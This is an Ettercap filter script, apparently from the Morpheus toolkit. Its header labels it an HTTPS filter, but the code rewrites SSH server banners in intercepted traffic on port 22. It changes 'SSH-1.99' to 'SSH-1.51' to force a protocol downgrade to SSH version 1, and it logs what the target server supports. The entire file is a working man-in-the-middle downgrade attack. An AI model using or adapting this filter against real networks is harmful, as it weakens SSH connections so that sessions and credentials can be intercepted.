############################################################################
#                                                                          #
#  HTTPS Request/Response Filter                                           #
#  based on code from ALoR & NaGA                                          #
#                                                                          #
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################

##
#  This filter will downgrade SSH requests from version 1.99
#  to 1.51 also verifies what version target its using.
##


#####################
## Replace Content ##
#####################
if (ip.proto == TCP && tcp.src == 22) {
   if ( replace("SSH-1.99", "SSH-1.51") ) {
    msg("[Morpheus] SSH downgraded from version 2 to 1\n");
   } else {
   if ( search(DATA.data, "SSH-2.00") ) {
    msg("[Morpheus] Server supports only SSH version 2\n");
   } else {
   if ( search(DATA.data, "SSH-1.51") ) {
    msg("[Morpheus] Server already supports only version 1\n");
    }
   }
  }
} 
